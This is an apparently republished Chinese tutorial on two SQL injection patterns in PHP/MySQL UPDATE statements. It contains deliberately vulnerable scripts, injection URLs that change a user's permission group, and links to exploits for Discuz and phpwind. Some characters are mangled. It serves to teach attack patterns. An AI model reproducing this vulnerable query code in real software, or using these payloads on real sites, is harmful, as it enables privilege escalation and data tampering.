返回顶部
首页 > 资讯 > 数据库 >UPDATE注射的两个模式是什么
  • 566
分享到

UPDATE注射的两个模式是什么

2024-04-02 19:04:59 566人浏览 独家记忆
摘要

今天就跟大家聊聊有关UPDATE注射的两个模式是什么,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。  一.测试环境:  OS: w

今天就跟大家聊聊有关UPDATE注射的两个模式是什么,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

  一.测试环境:

  OS: windowsxp sp2

  PHPphp 4.3.10 (

  Mysql 4.1.9

  apache 1.3.33 

  二.测试数据库结构:

  ----start---

  -- 数据库: `test`

  -- 

  -- --------------------------------------------------------

  -- 

  -- 表的结构 `userinfo`

  -- 

  CREATE TABLE `userinfo` (

  `groudid` varchar(12) NOT NULL default ’1’,

  `user` varchar(12) NOT NULL default ’heige’,

  `pass` varchar(122) NOT NULL default ’123456’

  ) ENGINE=MyISAM DEFAULT CHARSET=latin1;

  -- 

  -- 导出表中的数据 `userinfo`

  -- 

  INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);

  ------end-------

  三.测试模式:

  1,变量没有带’’或""[MOD1]

  <?php

  //test1.php Mod1

  $servername = "localhost";

  $dbusername = "root";

  $dbpassWord = "";

  $dbname = "test";

  mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

  $sql = "update userinfo set pass=$p where user=’heige’";//<--$P没有使用单引号

  $result = mysql_db_query($dbname, $sql);

  $userinfo = mysql_fetch_array($result);

  echo "

SQL Query:$sql

";

  ?>

  脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达

  到修改groupid的目的:

  那么我们提交:Http://127.0.0.1/test1.php?p=123456,groudid=1

  在mysql里查询: mysql> select * from userinfo;

  +---------+-------+--------+

  | groudid | user | pass  |

  +---------+-------+--------+

  | 1    | heige | 123456 |

  +---------+-------+--------+

  1 row in set (0.01 sec)

  用户heige的groudid又2改为1了 :)

  所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。

  2,变量带’’或""[MOD2]

  ?php

  //test2.php

  $servername = "localhost";

  $dbusername = "root";

  $dbpassword = "";

  $dbname = "test";

  mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

  $sql = "update userinfo set pass=’$p’ where user=’heige’";//<--$P使用单引号

  $result = mysql_db_query($dbname, $sql);

  $userinfo = mysql_fetch_array($result);

  echo "

SQL Query:$sql

";

  ?>

  为了关闭’我们构造$p应该为123456’,groudid=’2 提交:

  http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了’

  提交的语句变成:SQL Query:update userinfo set pass=’123456’,groudid=’1’ where user=’heige’

  mysql查询:

mysql> select * from userinfo;

  +---------+-------+--------------------+

  | groudid | user | pass        |

  +---------+-------+--------------------+

  | 2    | heige | 123456’,groudid=’1 |

  +---------+-------+--------------------+

  1 row in set (0.00 sec)

  groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢?不是 下面我们看模式2: <?php

  //test3.php Mod2

  $servername = "localhost";

  $dbusername = "root";

  $dbpassword = "";

  $dbname = "test";

  mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

  $sql = "update userinfo set pass=’$p’ where user=’heige’";//<--$P使用单引号

  $result = mysql_db_query($dbname, $sql);

  mysql_fetch_array($result);  //$p的数据写入数据库

  $sql= "select pass from userinfo where user=’heige’"; 

  $result = mysql_db_query($dbname, $sql);

  $userinfo=mysql_fetch_array($result); 

  echo $userinfo[0]; //把pass查询输出给$userinfo[0]

  $sql ="update userinfo set pass=’$userinfo[0]’ where user=’heige’";

  $result = mysql_db_query($dbname, $sql);

  mysql_fetch_array($result); //把$userinfo[0] 再次update

  ?>

  我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1

  回mysql查询下 : mysql> select * from userinfo;

  +---------+-------+--------+

  | groudid | user | pass  |

  +---------+-------+--------+

  | 1    | heige | 123456 |

  +---------+-------+--------+

  1 row in set (0.00 sec)

  HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:

  update--&gtselect--&gtupdate

  四.实际模式

  模式1:Discuz 2.0/2.2 reGISter.php 注射 

  漏洞分析:http://4ngel.net/article/41.htm

  Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm

  模式2:phpwind 2.0.2和3.31e 权限提升漏洞 

    漏洞分析:

  update (profile.php 注射变量为$proicon update语句里为,icon=’$userdb[icon]’)

  |

  v

  select (jop.php)

  |

  v

  updtate (jop.php)

  Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe  

看完上述内容,你们对UPDATE注射的两个模式是什么有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注编程网数据库频道,感谢大家的支持。

您可能感兴趣的文档:

--结束END--

本文标题: UPDATE注射的两个模式是什么

本文链接: https://lsjlt.com/news/61839.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • UPDATE注射的两个模式是什么
    今天就跟大家聊聊有关UPDATE注射的两个模式是什么,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。  一.测试环境:  OS: W...
    99+
    2024-04-02
  • 什么是数据库的三级模式和两级映射
    本篇内容主要讲解“什么是数据库的三级模式和两级映射”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“什么是数据库的三级模式和两级映射”吧! ...
    99+
    2024-04-02
  • Spring依赖注入的两种方式是什么
    今天小编给大家分享一下Spring依赖注入的两种方式是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。一、依赖注入方式思考...
    99+
    2023-07-02
  • node导出模块的两种方式是什么
    今天小编给大家分享一下node导出模块的两种方式是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了...
    99+
    2024-04-02
  • 什么是本地SQL注射
    这篇文章主要介绍“什么是本地SQL注射”,在日常操作中,相信很多人在什么是本地SQL注射问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”什么是本地SQL注射”的疑惑有所帮助!接...
    99+
    2024-04-02
  • nginx中的两个模块的proxy_pass的区别是什么
    本篇内容介绍了“nginx中的两个模块的proxy_pass的区别是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1.ngx_strea...
    99+
    2023-06-21
  • 安装zabbix需要php的两个模块是什么
    安装zabbix需要php的两个模块是什么,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。1.操作系统版本[root@aws zabbix]# cat /etc/redhat-r...
    99+
    2023-06-06
  • Angular中依赖注入模式是什么
    这篇文章主要介绍Angular中依赖注入模式是什么,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!Angular 依赖注入模式依赖注入: Dependency Injection 简称 DI依赖注入模式要解决的问题开发...
    99+
    2023-06-14
  • 服务器的两种服务进程模式是什么
    服务器的两种服务进程模式是:1、应用层的客户服务模式,即服务器端的服务进程和客户端的客户进程;2、浏览器服务器模式,在这种模式下,通过浏览器来实现用户工作界面,不用专门的客户软件去实现。具体内容如下:应用层的客户服务模式在TCP/IP网络中...
    99+
    2024-04-02
  • CSS的两种盒模型是什么
    本篇内容主要讲解“CSS的两种盒模型是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“CSS的两种盒模型是什么”吧!IE的盒模型问题 下面的代码可以直接复制出去运行哦<!DO...
    99+
    2023-06-27
  • Spring AOP中什么是半注解和全注解模式
    本篇文章为大家展示了Spring AOP中什么是半注解和全注解模式,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。<bean id="logUtils" ...
    99+
    2023-06-14
  • 两个云服务器之间的连接方式是什么
    两个云服务器之间的连接方式可能包括: 数据库连接:两个云服务器可以通过数据库连接建立连接,用于访问数据和执行各种操作,如创建、删除或更新数据。 文件传输:两个云服务器可以使用文件传输服务(如S3 Streaming Service或S4...
    99+
    2023-10-27
    两个 方式 服务器
  • java update的用法是什么
    Java Update 是一个用于更新 Java Runtime Environment (JRE) 的工具。它可用于下载和安装最新...
    99+
    2023-09-13
    java
  • 什么是js模板模式
    本篇内容主要讲解“什么是js模板模式”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“什么是js模板模式”吧!什么是模板模式?模板模式是抽象父类定义了子类需要重写的...
    99+
    2024-04-02
  • 前端模块化要解决的两个问题分别是什么
    这篇文章给大家介绍前端模块化要解决的两个问题分别是什么,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。前言前端模块化,主要是解决两个问题“命名空间冲突”,“文件依赖管理”。坑___命名空...
    99+
    2024-04-02
  • 什么是Mvvm模式
    本篇内容介绍了“什么是Mvvm模式”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!0x01 MVV...
    99+
    2024-04-02
  • 什么是mvc模式
    这篇文章主要讲解了“什么是mvc模式”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“什么是mvc模式”吧!分析:Model 模型(完成业务逻辑:由javaBe...
    99+
    2024-04-02
  • Redis分布式锁一定要避开的两个坑是什么
    这篇文章主要介绍了Redis分布式锁一定要避开的两个坑是什么的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Redis分布式锁一定要避开的两个坑是什么文章都会有所收获,下面我们一起来看看吧。1 第一个坑:错误释放...
    99+
    2023-07-06
  • dfu指的是什么模式
    这篇文章将为大家详细讲解有关dfu指的是什么模式,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。dfu模式是即iPhone固件的强制升降级模式,实际意思就是iPhone固件的强制升降级模式,它一般是在iPh...
    99+
    2023-06-14
  • React中常用的两个Hook是什么
    这篇文章给大家分享的是有关React中常用的两个Hook是什么的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。先介绍一下什么是hookHook是React 16.8新增的特性,专门...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作